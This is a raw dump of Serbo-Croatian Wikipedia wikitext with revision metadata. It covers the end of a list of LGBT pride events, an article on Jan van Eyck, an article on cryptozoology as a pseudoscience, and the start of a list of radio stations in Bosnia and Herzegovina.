www.pridefestdenver.org] {{Webarchive|url=https://web.archive.org/web/20100216040410/http://www.pridefestdenver.org/ |date=2010-02-16 }} | | |- | [[Pridefest (Ft. Lauderdale)|Pridefest Fort Lauderdale]] | [[Ft. Lauderdale, Florida]] | [http://pridesouthflorida.org/ www.pridesouthflorida.org] | mart | 1978 |- | [[PrideFest (Milwaukee)|PrideFest Milwaukee]] | [[Milwaukee, Wisconsin]] | [http://www.pridefest.com/]{{Dead link|date=January 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | jun |- | [[Pride Fest (Bismarck and Mandan, North Dakota)|Pride Fest]] | [[Bismarck, North Dakota]] and [[Mandan, North Dakota]] | [http://www.dakotaoutright.org/ www.dakotaoutright.org] | sredinom leta | |- | [[Pride Northwest]] | [[Portland, Oregon]] | [http://www.pridenw.org/ www.pridenw.org] | jun | |- | [[Pride Santa Cruz]] | [[Santa Cruz, California]] | [http://diversitycenter.org/programs/santa-cruz-glbtiq-pride/] {{Webarchive|url=https://web.archive.org/web/20090917125738/http://www.diversitycenter.org/programs/santa-cruz-glbtiq-pride/ |date=2009-09-17 }} | jun 1 | |- | [[Pure Heat Atlanta Labor Day Pride]] | [[Atlanta, Georgia]] | [http://www.traxxgirls.com/ www.traxxgirls.com] | avgust-septembar | 2006 | |- | [[Reel Affirmations]] LGBT Film Festival | [[Washington, D.C.]] | [http://www.reelaffirmations.org www.reelaffirmations.org] {{Webarchive|url=https://web.archive.org/web/20090525235737/http://www.reelaffirmations.org/ |date=2009-05-25 }} | oktobar | 1992 |- | [[Triangle Foundation#Reel Pride Michigan|Reel Pride Film Festival]] | [[Royal Oak, Michigan]] | [http://www.reelpridemichigan.org www.reelpridemichigan.org] {{Webarchive|url=https://web.archive.org/web/20081006055043/http://www.reelpridemichigan.org/ |date=2008-10-06 }} | oktobar | |- | Reno Pride | [[Reno, Nevada]] | [http://www.renogaypride.com www.renogaypride.com] | avgust | 1997 |- | Queens Pride | [[Jackson Heights, Queens|Jackson Heights, Queens, New York]] | [http://www.queenspride.com/ www.queenspride.com/] | jun | |- | Rhode Island Pride Festival & Parade | [[Providence, Rhode Island]] | [http://www.PrideRI.com/ www.PrideRI.com] | jun | 1976 |- | [[Rites of Spring Parties]] | [[Birmingham, Alabama]] | [http://www.ritesofspring.org/ www.ritesofspring.org] {{Webarchive|url=https://web.archive.org/web/20090317073812/http://www.ritesofspring.org/ |date=2009-03-17 }} | april | |- | [[Salinas Valley Pride Parade]] | [[Salinas, California]] | [http://www.myspace.com/salinasvalleypride www.myspace.com/salinasvalleypride] | avgust | 2007 |- | [[San Diego Pride]] | [[San Diego, California]] | [http://sandiegopride.org/ www.sandiegopride.org] {{Webarchive|url=https://web.archive.org/web/20091001004210/http://www.sandiegopride.org/ |date=2009-10-01 }} | jul | 1980 |- | [[San Diego North County Pride]] | [[Carlsbad, California]] | [http://www.northcountypridesd.org/ www.northcountypridesd.org] {{Webarchive|url=https://web.archive.org/web/20090716165020/http://www.northcountypridesd.org/ |date=2009-07-16 }} | avgust | 1978 |- | [[San Francisco Pride]] | [[San Francisco, California]] | [http://www.sfpride.org/ www.sfpride.org] {{Webarchive|url=https://web.archive.org/web/20130701002157/http://sfpride.org/ |date=2013-07-01 }} | jun | 1970 |- | [[San Jose Pride Parade & Festival]] | [[San Jose, California]] | [http://www.sanjosepride.com/ www.sanjosepride.com] {{Webarchive|url=https://web.archive.org/web/20090312073415/http://www.sanjosepride.com/ |date=2009-03-12 }} | jun | |- | [[Santa Cruz Pride Parade & Festival]] | [[Santa Cruz, California]] | [http://www.diversitycenter.org/programs/santa-cruz-glbtiq-pride// www.diversitycenter.org/programs/santa-cruz-glbtiq-pride/] {{Webarchive|url=https://web.archive.org/web/20090917125738/http://www.diversitycenter.org/programs/santa-cruz-glbtiq-pride/ |date=2009-09-17 }} | jun | |- | [[Savannah Pride]] | [[Savannah, Georgia]] | [http://www.savannahpride.org/ www.savannahpride.org] {{Webarchive|url=https://web.archive.org/web/20100916211758/http://www.savannahpride.org/ |date=2010-09-16 }} | | |- | [[Seattle Black Pride]] | [[Seattle, Washington]] | [http://www.seattleblackpride.org/ www.seattleblackpride.org] | jul | |- | [[Seattle Pride]] | [[Seattle, Washington]] | [http://www.seattlepride.org/ www.seattlepride.org] | jun | |- | [[Show Me Pride]] | [[Kansas City, Missouri]] | [http://www.kansascitygaypride.org/ www.kansascitygaypride.org] {{Webarchive|url=https://web.archive.org/web/20100204061024/http://www.kansascitygaypride.org/ |date=2010-02-04 }} | jun | |- | [[Sizzle Her]] | [[Miami, Florida]] | [http://www.sizzleher.com/ sizzleher.com] {{Webarchive|url=https://web.archive.org/web/20100210023807/http://www.sizzleher.com/ |date=2010-02-10 }} | Memorial Day Weekend May Thursday - Monday | |- | [[South Carolina Pride]] | [[Columbia, South Carolina]] | [http://www.scpride.org/ www.scpride.org] | | |- | [[Southeast Leatherfest]] | [[Atlanta, Georgia]] | [http://seleatherfest.com/ www.seleatherfest.com] | jun | |- | [[Southern Decadence]] | [[New Orleans, Louisiana]] | [http://www.southerndecadence.net/ www.southerndecadence.net] | septembar | |- | [[Spokane Pride]] | [[Spokane, Washington]] | [http://www.outspokane.com/ www.outspokane.com] | jun | |- | [[St. Louis PrideFest]] | [[St. Louis, Missouri]] | [http://www.pridestl.org/ www.pridestl.org] | jun | 1979 |- | [[St. Pete Pride]] | [[St. Petersburg, Florida]] | [http://www.stpetepride.com www.stpetepride.com] | jun | 2003 |- | [[Staten Island Pride]] | [[Staten Island|Staten Island, New York]] | [http://www.myspace.com/siprideevents www.myspace.com/siprideevents] | maj | |- | [[Sunshine Stampede Rodeo]] | [[Fort Lauderdale, Florida]] | [http://fgra.org/ www.fgra.org] | april | |- | [[Syracuse (CNY) Pride]] | [[Syracuse, New York]] | [http://www.cnypride.org/ www.cnypride.org] | jun | |- | [[Texas Bear Round Up]] | [[Dallas, Texas]] | [http://www.tbru.org/ www.tbru.org] | | |- | [[Tranny Fest]] | [[San Francisco, California]] | [http://www.trannyfest.com/ www.trannyfest.com] | jun | |- | [[Tucson Pride]] | [[Tucson, Arizona]] | [http://www.tucsonpride.org/ www.tucsonpride.org] | oktobar | |- | [[Twin Cities Pride]] | [[Minneapolis, Minnesota|Minneapolis]]/[[Saint Paul, Minnesota]] | [http://www.tcpride.org/ www.tcpride.org] | jun | |- | [[Tulsa Pride]] | [[Tulsa, Oklahoma]] | [http://www.tohr.org/ www.tohr.org] {{Webarchive|url=https://web.archive.org/web/20091113053150/http://www.tohr.org/ |date=2009-11-13 }} | jun | 1982 |- | [[United States Gay Open]] | [[San Francisco, California]] | [http://www.gltf.org/ www.gltf.org] | maj | |- | [[Utah Pride Festival]] | [[Salt Lake City, Utah]] | [http://www.utahpride.org/ www.utahpride.org] {{Webarchive|url=https://web.archive.org/web/20090312010043/http://www.utahpride.org/ |date=2009-03-12 }} | jun | 1977 |- | [[Virginia - Gay Pride Virginia]] | [[Richmond, Virginia]] | [http://gaypridevirginia.org/ gaypridevirginia.org] {{Webarchive|url=https://web.archive.org/web/20090309090910/http://gaypridevirginia.org/ |date=2009-03-09 }} | septembar | |- | [[White Party|White Party Week]] | [[Miami, Florida]] | [http://www.whiteparty.org/ www.whiteparty.org] | novembar | |- | [[White Party|White Party Week]] | [[Palm Springs, California]] | [http://www.jeffreysanker.com/ http://www.jeffreysanker.com/] {{Webarchive|url=https://web.archive.org/web/20090429051642/http://www.jeffreysanker.com/ |date=2009-04-29 }} | april | |- | [[Winter Party]] | [[South Beach, Florida]] | [http://www.winterparty.com/ www.winterparty.com] | mart | |- | [[Woof Fest]] | [[Fort Lauderdale, Florida]] | [http://www.wooffest.com/ www.wooffest.com] | novembar | |- | [[Youth Pride D.C.]] | [[Washington, D.C.]] | [http://www.youthpridedc.org/ www.youthpridedc.org] {{Webarchive|url=https://web.archive.org/web/20090904113319/http://www.youthpridedc.org/ |date=2009-09-04 }} | maj | 1996 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Venecueli|Venecuela]] === |- | [[Caracas Pride]] | [[Caracas]] | [http://www.lambdavenezuela.org/ www.lamdavenezuela.org] {{Webarchive|url=https://web.archive.org/web/20101004092957/http://www.lambdavenezuela.org/ |date=2010-10-04 }} | maj | |} == Afrika == {{Sekcija}} == Azija == {{Sekcija}} == Australija sa Okeanijom == {{Sekcija}} == Reference == {{izvori}} == Vidi dalje == * [[Parada ponosa LGBT osoba]] * [[World Pride]] == Vanjske veze == * [http://www.gayscout.com/ gayScout - International Gay Events Calendar] {{Webarchive|url=https://web.archive.org/web/20140312102921/http://www.gayscout.com/ |date=2014-03-12 }} * [https://web.archive.org/web/20090217014730/http://www.gay-pride.org.uk/index.php The definitive guide to UK LGBTQ Pride] * [http://www.images-gaies.com/ International Photography Gay Pride] {{Webarchive|url=https://web.archive.org/web/20080604103048/http://www.images-gaies.com/ |date=2008-06-04 }} * [http://www.gaycityusa.com/pride.htm International Gay Pride Guide] * [http://www.interpride.org/ InterPride] * [http://www.pbase.com/markwp/streetfairs/ Pride Photo Galleries] * [http://www.gay.com/pride/calendar/ Pride events listed at Gay.com] * [http://www.gaytoz.com/united/prides.html Gay Pride calendar] * [http://ukgayguides.co.uk/index.php?option=com_content&task=category&sectionid=3&id=16&Itemid=37 UK Pride Dates 2008] {{Webarchive|url=https://web.archive.org/web/20080521015959/http://ukgayguides.co.uk/index.php?option=com_content&task=category&sectionid=3&id=16&Itemid=37 |date=2008-05-21 }} * [http://pride.yahoo.com/ Yahoo! Pride] {{LGBT}} [[Kategorija:LGBT manifestacije| ]] [[Kategorija:LGBT kultura|Manifestacije]] at575wpiitqvp9hsss8geebyncu9c31 0 63558 42602681 42601828 2026-05-28T06:17:45Z Surajr7 346896 42602681 wikitext text/x-wiki {{Infokutija umjetnik |ime = Jan van Eyck |pokret = [[Nordijska renesansa]] |slika =Jan van Eyck 091.jpg |širina_slike = 250px |opis = '''Čovjek s crvenim turbanom (Autoportret)''', [[1433]]., tempera i ulje na drvu, 33,3 x 25,8 cm, Nacionalna [[galerija]] u [[London]]u. |datum_rođenja = oko [[1390]]. |mjesto_rođenja = [[Maaseick]] ili [[Maastricht]], [[Holandija|Nizozemska]] |datum_smrti = prije [[9. 9.|9. rujna]] [[1441]]. |mjesto_smrti[[Brugge]], [[Belgija]] |vrsta = [[slikarstvo]] - [[crtež]] |praksa = [[Gent]], [[Hag|Den Haag]], [[Brugge]] |uticaj_na = [[Hugo van der Goes]], [[Rogier van der Weyden]], etc. |uticaj_od= [[Robert Campin]], [[Braća Limbourg]] |djela = ''[[Gentski oltar]]''<br />''Čovjek s crvenim turbanom''<br />''[[Portret Arnolfinijevih]]'' }} '''Jan van Eyck''' ([[Maaseick]] ili [[Maastricht]], o. [[1390]]. – [[Brugge]], prije [[9. 9.|9. rujna]] [[1441]].) je flamanski rano-renesansni ([[Nordijska renesansa|kasnogotički]]) [[slikar]]. S bratom [[Hubert van Eyck|Hubertom]] oslikao čuveni [[gentski oltar]]. Zapravo Hubert je započeo ovo djelo, ali ga je [[1432]]. završio njegov brat Jan, 10 godina nakon Hubertove smrti. Njemu prepisuju i popularizaciju tehnike [[uljene boje|uljanog slikarstva]], te njeno širenje u Italiji i Europi. Uz brata Huberta, Jan je prvi slikar na europskom sjeveru koji je prevladao srednjovjekovne sheme i stvorio je novi likovni izraz realističnih tendencija. == Biografija i djela == Rođen vjerojatno u flamanskom gradu [[Maastricht]]u, a o njegovom djetinjstvu i školovanju zna se veoma malo. Od [[1420]]. sa svojim starijim bratom [[Hubert van Eyck|Hubertom]] slika ''[[Gentski oltar]]''. To je spektakularni oltar-poliptih koji se nalazi u ''crkvi sv. Bavona'' u [[Gent]]u. Na ovom djelu, u okviru nordijskog slikarstva i njegove srednjovjekovne sakralne sheme, javlja se prvi put niz novih suvremenih motiva i tema. Čitav apokaliptički prizor kao kompozicija smješten je u prirodni ambijent, u slobodan pejzaž, koji je dat minuciozno, gotovo pendantno veristički (realistično). Likovi svojim rasporedom masa, osobnim karakteriziranjem i snažnim živim bojama (koje do dan danas nisu trebale nikakvog popravka) označavaju početak nove epohe umjetnosti – [[renesansa|renesanse]]. Od [[1422]]. Jan van Eyck je u službi nizozemskog vojvode ''Johanna Bavarskog'' u [[Hag|Den Haagu]] i kasnije ''Filipa Dobrog'' od [[Burgundija|Burgundije]] koji ga, posve u stilu talijanskih umjetnika [[renesansa|renesanse]], šalje u inozemstvo s posebnim misijama. Od 1431. do smrti boravio je u Bruggeu. Tamo radi portrete nedostiživo istančane karakterizacije. To su uglavnom figure u interijerima; likovi su ocrtani izvanredno precizno, oštro, a intimna atmosfera prostorije pokreće umjetnost niz slikara interijera i genre-motiva u 17. st. [[Datoteka:Van Eyck - Arnolfini Portrait.jpg|thumb|250px|left|Jan van Eyck, ''[[Portret Arnolfinijevih]]'', 1434., ulje na drvu, 81,9 x 59,7 cm, Nacionalna galerija, London.]] Takva slika je i '''''Giovanni Arnolfini sa ženom''''' ([[1434]].), najveće remek-djelo svoga doba. Ovo ulje na platnu je zapravo dokument vjenčanja s potpisom slikara kao svjedoka (''Johanes de Eyck fuit hic 1434''). Kompozicija je statična, sve je pregledno, stvari postoje kao plastični samostalni oblici, razmješteni u zatvorenom praznom prostoru. Važno je obratiti pažnju na ogledalo u stražnjem dijelu prostorije čime je prostor zaokružen i dobiva novu dimenziju. Oblici su viđeni s druge strane i tako je umjetnik potpuno ovladao prostorom jer se i položaj s kojeg gledalac gleda sliku vidi upravo u tom ogledalu. Eyck tako sjedinjava sve oblike kao što [[perspektiva]] sjedinjava sve elemente u djelima [[Piero della Francesca]]. Sve je detaljno reproducirano sa bogatim koloritom, harmoničnim i profinjenim prijelazima u tonovima. No to nije puki “isječak iz života”, već svakodnevica uzdignuta do misterija. To je postignuto u raščlanjivanju onoga što već postoji, što je isto tako vrijedno kao i talijanska sinteza stvarnog i idealnog. Van Eyck, kao i [[Robert Campin|Majstor iz Flémallea]], prikazuje predmete kao simbole: postelja kao simbol bračne vjernosti, pas - simbol povjerenja, jedna jedina svijeća koja gori u pol bijela dana kao simbol Kristov, izuveni bračni par zato što stoji na svetom tlu braka … Ovo nije “stvarnost” nego uzdizanje onoga što je vidljivo do slike vječnosti, do umjetnosti. Među ostalim Janovim remekdjelima ističu se: ''Madona kancelara Rolina''; ''Madona kanonika van der Paele'' i portreti ''Muškarac s karanfilom''; ''Zlatar Jan van Leuw''. Uporaba [[uljene boje]] omogućila mu je profinjene prijelaze u tonovima i bogata i harmonična kolorita, te bolje dočaravanje dubine prostora. Direktno je utjecao na slikarstvo 15. st. na sjeveru Europe i slikare [[Hugo van der Goes]]a, [[Pietera Christus]]a, [[Daniel Bouts]]a i dr. Njegov [[realizam (likovna umjetnost)|realizam]] dao je znatne pobude talijanskom slikarstvu. == Značaj slikarstva Jana van Ajka == * Jedan od predvodnika Renesanse * Osnivač nizozemske škole slikarstva * Predstava prostora u perspektivi * Umetnik je posmatrač realnog sveta * Potpuno otsustvo uticaja antičkih uzora (za razliku od umetnosti u Italiji tog vremena) * Njegovo slikarstvo karakterišu blistave boje sa izuzetnim kontrastima svetlo-tamno (tzv. [[kjaroskuro]] ''-{Chiarosuro}-'') * Zajedno sa [[Rogier van der Weyden|Rohir van der Vejdenom]], razvio [[realizam]] u slikarstvu ** verno slikanje prirode i čoveka ** naglašavanje ljudske individualnosti ** detaljno slikanje pejzaža Slikarstvo Jan van Ajka, [[Rober Kampen]]a i [[Rogier van der Weyden|Rohir van der Vejdena]], puno detalja iz realnog života, označava početak nove epohe slikarstva. Iako se najčešće radi o religioznim temama u kojima treba prikazati koncept natprirodne svetosti, njihove predstave unose duhovnost u prizore bliske svakodnevnom životu. === Tehnika uljanog slikarstva === Sa Van Ajkom u tehnici slikarstva počinje svojevrsna revolucija. Pored tradicionalne tempere i fresko tehnike, prvenstveno je koristio [[Uljano slikarstvo|uljane]] boje. [[Giorgio Vasari|Đorđo Vazari]] je u Van Ajku video pronalazača uljane tehnike, međutim ona je bila poznata i ranije. Jan van Ajk je bio prvi slikar koji je koristio [[sikativ]] i razređivače. Tehnologija: * Stabilni pigmenti boje se rastvore u biljnom ulju * Podloga za slikanje: platno, drvo ili karton * Prvo se na podlogu nanese osnova (vezivo od gipsa i [[škrob|skroba]]) * Polagano i detaljno slikanje je moguće samo sa bojama koje se sporo suše * Koriste se četke od svinjske dlake, a za finije detalje od stočne * Odgovarajuće razređivanje boja se postiže mešanjem sa lanenim uljem ili [[terpentin]]om === Izbor važnijih dela === * [[Gentski oltar]], ''oko 1425-1435, Katedrala sv. Bavon, Gent'' * [[Madona u crkvi]], ''oko 1426, Galerija slika, Berlin'' * Kardinal Nikolo Albergati, ''oko 1432, [[Kunsthistorisches Museum]] [[Beč]]'' * Portret mladića (Timotej), ''1432, Nacionalna galerija, London'' * Đovani Arnolfini sa suprugom Đovanom Čenami (ili [[Supružnici Arnolfini]]), ''1434, Nacionalna galerija, London'' * Madona kancelara Rolena, ''oko 1435, Luvr, Pariz'' * Blagovesti, ''oko 1435, Muzej Tisen-Bornemica, Madrid'' * „Luka“ Madona, ''oko 1435, Umetnički institut, Frankfurt'' * Portret Boduena de Lanoja, ''oko 1436-1438, Državni muzej, Berlin'' * Portret Jan de Leva, ''1436, Kunsthistorisches Museum, Beč'' * Madona kanonika Van der Pelea, ''1436, Muzej lepih umetnosti, Briž'' * Margareta van Ajk, ''1439, Muzej lepih umetnosti, Briž'' <!-- * Raspeti Hrist, ''Galerija slika, Berlin'' * Portret Đovani Arnolfinija, ''Galerija slika, Berlin'' * Čovek sa karamfilom, ''Galerija slika, Berlin''--> <gallery> Datoteka:Hubert_van_Eyck_006.jpg|Gentski oltar (detalj), Sv. Bavon, Gent Datoteka:Ghent Altarpiece Google Art Project.jpg|Gentski oltar, Sv. Bavon, Gent Datoteka:Ghent Altarpiece D - Nature.jpg|Gentski oltar (detalj pejzaža), Sv. Bavon, Gent Datoteka:Ghent Altarpiece A - Eve.jpg|Gentski oltar (lik Eve), Sv. Bavon, Gent Datoteka:Anonymous - Christ on the Cross - 525 F - Gemäldegalerie.jpg|Raspeti Hrist, Galerija slika, Berlin Datoteka:La Vierge du chancelier Rolin - Jan van Eyck - Musée du Louvre Peintures INV 1271 ; MR 705.jpg|Madona kancelara Rolena, Luvr, Pariz Datoteka:Jan van Eyck - Portrait of Margaret van Eyck (1439).jpg|Margareta van Ajk, Muzej lepih umetnosti Briž Datoteka:Jan van Eyck 089.jpg|Portret Jana de Leva, Kunsthistorisches Museum, Beč </gallery> == Vanjske veze == {{Commonscat|Jan van Eyck}} * [http://speurrsite.erdasys.com/index.html SpeuRRsite - Bog jaganjac - Gentski oltar - Pravedni suci.] * [http://www.wga.hu/html/e/eyck_van/jan/index.html Web Gallery of Art] * [http://www.museumsyndicate.com/artist.php?artist=9 Jan van Eyck galerija na MuseumSyndicate.] {{DEFAULTSORT:Eyck, Jan van}} [[Kategorija:Rođeni 1380-ih]] [[Kategorija:Umrli 1441.]] [[Kategorija:Belgijski slikari]] [[Kategorija:Renesansni slikari]] 18z5cm68d3nowbifzmlg9nx8999vbbv 0 67729 42602580 42451981 2026-05-27T17:29:23Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602580 wikitext text/x-wiki {{Zoologija}} '''Kriptozoologija''' je [[pseudonauka]] koja proučava bića za koja se pretpostavlja da postoje, ali nisu zvanično klasifikovana (tzv. ''kriptidi''). Naziv kriptozoologije složenica je od tri reči: ''kriptos'', što znači ''skriven''; ''zoos'', što znači ''životinjski''; i ''logos'', što znači ''nauka''. Kriptozoolozi se oslanjaju na povremene izveštaje očevidaca o čudnim bićima koja se razlikuju od poznatih i klasifikovanih životinja. Za ta bića koristi se izraz "[[Kriptidi]]", reč koju je u upotrebu uveo [[Džon Val]] [[1983]]. == Opšti uvod == Uvođenje novog termina "kriptozoologija" se često pripisuje zoologu [[Bernard Hevelmans|Bernardu Hevelmansu]] (Bernard Heuvelmans). Međutim, u svojoj knjizi "U potrazi sa morskim zmijama", Hevelmans je uvođenje u upotrebu ovog izraza pripisao škotskom istraživaču i avanturisti [[Ajvan T. Sanderson|Ajvanu T. Sandersonu]].<ref>Heuvelmans, Bernard. ''In the Wake of the Sea-Serpents''. New York: Hill and Wang, 1968.</ref> Istražujući poreklo ove pseudonaučne discipline Hevelmans je u svom delu "U potrazi za nepoznatim životinjama", objavljenom [[1955]].god. kao njenog tvorca naveo [[Entonid Kornelijus Udemans|Entonida Kornelijusa Udemansa]] (Anthonid Cornelis Oudemans)<ref>*[[Bernard Heuvelmans|Heuvelmans, Bernard]]. ''On The Track Of Unknown Animals''. :-(New York: Hill and Wang, 1959.</ref> i njegovu studiju "Velike morske zmije" iz 1892.god. Hevelmans smatra da kriptozoologija mora da ima naučnu osnovu, ali da njen istraživački pristup mora da bude otvorenog i interdisciplinarnog karaktera. On je takođe istakao da se posebna pažnja mora pokloniti lokalnim, urbanim i folklornim izvorima koji opisuju ova bića. Iako su uglavnom prepune raznih fantastičnih elemenata, narodne priče često sadrže sitne deliće istine i značajne informacije u vezi sa ovim stvorenjima. [[Loren Koleman]], moderni popularizator kriptozoologije je u svojoj knjizi "Tom Slik: Stvarni susreti u kriptozoologiji" hronološki obradio istoriju kriptozoologije i dao pregled najznačajnijih naučnika iz ove oblasti.<ref>Coleman, Loren. ''[[Tom Slick]]: True Life Encounters in Cryptozoology''. Fresno, California: Craven Street Books/Linden Press, 2002.</ref> Još jedna od značajnih knjiga koja se bavio kriptozoologijom je delo [[Vili Lej|Vilija Leja]], pod nazivom "Egzotična zoologija", objavljeno [[1959]].god. Iako je Lej bio poznatiji po svojim radovima na temu raketne tehnologije i srodnim temama, prošao je obuku iz paleontologije i napisao je veći broj knjiga o životinjama. Lejova zbirka "Egzotična zoologija" ima izvesnog značaja za kriptozoologiju zato što se u njoj obrađuju teme kao što je "Jeti", morske zmije i izumrli dinosaurusi. Prvo poglavlje knjige, pod nazivom "Mit" razmatra mogućnost da su opisi pojedinih legendarnih stvorenja, kao što su jednorozi ili kiklopi, možda zasnovani na stvarnim životinjama (tj. pogrešnim opisom životinja ili njihovih ostataka). Najrigoroznija naučna analiza kriptida može se naći u delima britanskog zoologa i kriptozoologa dr. [[Karl Šuker|Karla Šukera]] (Karl Shuker), koji je sredinom 80-tih godina 20. veka objavio 12 knjiga i više članaka na temu kriptozoologije. == Zvanična nauka i kriptozoologija == [[Datoteka:Colossal octopus by Pierre Denys de Montfort.jpg|thumb|right|200px|"Kolosalni oktopod", olovka i tuš, autor [[Pijer Deni de Monfort]], [[1801]]. Delo je nastalo na osnovu opisa francuskih mornara čiji brod je, u blzini obale [[Angola|Angole]], više puta napao [[Kraken]].]] Mnogi kriptozoolozi smatraju da kriptozoologija zaslužuje priznanje kao zvanična naučna disciplina – neki od njih su cenjeni naučnici iz različitih oblasti. Ipak, kriptozoologija nikada nije u potpunosti zvanično prihvaćena od strane naučne zajednice. Kriptozoologija se ne može studirati ni na jednom od svetskih univerziteta. Neki kriptozoolozi poistovećuju svoje naučne metode sa metodama rigoroznijih naučnih disciplina kao što je zoologija ili antropologija – ipak, kriptozoologija se često smatra pseudonaukom od strane zoologa i biologa. Najveće kritike zvanične nauke upućene su kriptozoolozima koji zastupaju postojanje "čuvenih" mega-fauna kriptida (kao što su [[bigfut]], [[jeti]] ili [[čudovište iz Loh Nesa]]), čije postojanje nauka još nije dokazala. Istoričar [[Majk Deš]]<ref>Dash, Mike, ''Borderlands: The Ultimate Exploration of the Unknown'', Overlook Press, 2000</ref> primetio je da malo naučnika spori postojanje hiljada nepoznatih životinjskih vrsta, naročito kičmenjaka, koje još nisu otkrivene. Ipak, većina kriptozoologa ne pokazuje interesovanje za proučavanje i katalogizaciju novootkrivenih vrsta mrava ili buba. Prema Dašu, napori kriptozoologa uglavnom su usmereni ka otkrivanju "neuhvatljivih" stvorenja koja već više decenija uspešno izbegavaju napore naučne zajednice sa ciljem potvrde njihovog postojanja i koje su, štaviše, okarakterisane od strane zvanične nauke kao vrste za koje je malo verovatno da će ostati neotkrivene. Skeptici u naučnim krugovima zastupaju stav da kriptidi kao što je Bigfut, ne samo da moraju namerno da izbegavaju kontakt sa ljudskom vrstom kako bi izbegli detekciju, već da bi njihova brojnost, u cilju dalje reprodukcije, morala da se meri stotinama jedinki, što bi olakšalo mogućnost njihovog otkrivanja.<ref>{{Cite web |title=Archive copy |url=http://home.clara.net/rfthomas/news/bfhunting.html |access-date=2009-11-02 |archivedate=2010-01-29 |archiveurl=https://web.archive.org/web/20100129061319/http://home.clara.net/rfthomas/news/bfhunting.html |deadurl=yes }}</ref>. Uprkos izveštajima o viđenjima kriptida širom sveta i uprkos značajnoj veličini ovih stvorenja, do danas nije pribavljen ni jedan neosporan dokaz (npr. živi ili mrtvi primerak) koji potvrđuje njihovo postojanje. Skeptici takođe ističu<ref>Sjögren, Bengt, ''Berömda vidunder'', Settern, 1980, {{ISBN|91-7586-023-6}} {{sv icon}}</ref> da bi legendarna "jezerska čudovišta" za koja se veruje da su praistorijski reptili, morala da žive neopaženo u jezerima čija voda je toliko hladna da u njima nije moguć opstanak ni jedne poznate vrste morskih gmizavaca – i to na tako malom staništu koje zbog malog prostora i siromašnih izvora hrane ne može da podržava značajniju populaciju. Morske životinje sa plućima kao kod sisara i [[pleziosaurus]] morale bi da izranjaju na površinu vode kako bi udahnule vazduh, zbog čega je teško poverovati da su do danas ostale neotkrivene. Ipak, kriptozoolozi ističu da je dobar deo planete još uvek neistražen, a naročito podmorje, zbog čega smatraju da najverovatniji izgled da steknu zvanično naučno priznanje imaju njihove teorije koje se odnose na postojanje neotkrivenih morskih vrsta. Radeći tablicu verovatnoće otkrića novih stvorenja, Pakston<ref>Paxton, C. G. M. 1998. A cumulative species description curve for large open water marine animals. ''Journal of the Marine Biologists Association'', U.K. 78, 1389-1391.</ref> je ustanovio da najmanje 47 velikih okeanskih vrsta još uvek nije otkriveno. Poslednja skorašnja otkrića [[megamut ajkule]] i Coelacanth govore u prilog tvrdnje da pojedine velike morske vrste još uvek uspešno izbegavaju detekciju. == Reference == {{reflist}} == Povezano == * [[Spisak tajanstvenih bića]] == Vanjske veze == {{Commonscat|Cryptozoology}} * [http://www.cryptozoology.com/ Cryptozoology.com] * [http://www.pibburns.com/cryptozo.htm Kriptozoologija po Filipu Bernsu] * [http://www.ncf.carleton.ca/~bz050/HomePage.cryptoz.html Kriptozoologija po Benu Roešu] {{Webarchive|url=https://web.archive.org/web/20051125132323/http://www.ncf.carleton.ca/~bz050/HomePage.cryptoz.html |date=2005-11-25 }} * [http://kodos86.tripod.com/ Kriptozoologija] {{Webarchive|url=https://web.archive.org/web/20080511075130/http://kodos86.tripod.com/ |date=2008-05-11 }} * [http://www.strangeark.com/ Tajanstvena bića] * [http://skepdic.com/crypto.html preko 400 članaka o kriptodima] * [http://www.internationalsocietyofcryptozoology.org/ Međunarodno društvo kriptozoologije] {{Webarchive|url=https://web.archive.org/web/20051130220911/http://www.internationalsocietyofcryptozoology.org/ |date=2005-11-30 }} [[Kategorija:Kriptozoologija|*]] 7lrghj359rs67ozmjdj3tfenjl2phtt 0 73447 42602676 42590455 2026-05-28T05:16:21Z InternetArchiveBot 155863 Rescuing 2 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602676 wikitext text/x-wiki {{čišćenje}} Ovo je '''lista [[radio]]-stanica u [[BiH|Bosni i Hercegovini]]'''. == Nacionalno pokrivanje == {| class="wikitable sortable" !Ime !Internet !Slušanje |- |[[Radiotelevizija Bosne i Hercegovine|BH radio 1]] |<center>[http://www.bhrt.ba/ sajt]</center> |<center>[mms://media.bih.net.ba/bhradio1 slušaj] {{Webarchive|url=https://web.archive.org/web/20130127151020/http://media.bih.net.ba/bhradio1 |date=2013-01-27 }}</center> |- |BN Radio |<center>[http://www.radiobn.net/ sajt]</center> |<center>[http://stream.rtvbn.com:8522/listen.pls slušaj]</center> |- |Bobar Radio |<center>[http://www.radiobobar.com/ sajt]</center> |<center>[http://ns1.scwlan.net:9111/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20110724055749/http://ns1.scwlan.net:9111/listen.pls |date=2011-07-24 }}</center> |- |Nes Radio |[https://www.nesradio.com Sajt] |[http://uzivo.nesradio.com/ Slušaj] |} == Regionalne stanice == {| class="wikitable sortable" !Region !Ime !Internet !Slušanje |- |[[Brčko Distrikt]] |Radio Brčko |<center>[http://www.radio-brcko.co.ba/ sajt] {{Webarchive|url=https://web.archive.org/web/20100305122037/http://www.radio-brcko.co.ba/ |date=2010-03-05 }}</center> |<center>[http://91.191.0.45:8000/ slušaj]</center> |- |-valign="top" |rowspan="3"|[[Federacija Bosne i Hercegovine|Federacija BiH]] |[[Radio-Televizija Federacije BiH|Radio FBiH]] |<center>[http://www.rtvfbih.ba/ sajt]</center> |<center>[http://radiotime.com/WebTuner.aspx?IgnoreStreams=1&StationId=37053& slušaj]{{Dead link|date=October 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</center> |- |Radio Herceg-Bosne |<center>[http://www.rtv-hb.com/ sajt]</center> |<center>[http://www.rtv-hb.com/live.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20100815234954/http://www.rtv-hb.com/live.pls |date=2010-08-15 }}</center> |- |Radiopostaja Mir Međugorje |<center>[http://radio-medjugorje.com/ sajt]</center> |<center>[http://bravo856.server4you.de:23565/listen.pls slušaj] {{Webarchive|url=https://web.archive.org/web/20091208014004/http://bravo856.server4you.de:23565/listen.pls |date=2009-12-08 }}</center> |- |[[Republika Srpska]] |[[Radio Televizija Republike Srpske|Radio Republike Srpske]] |<center>[http://www.rtrs.tv/ 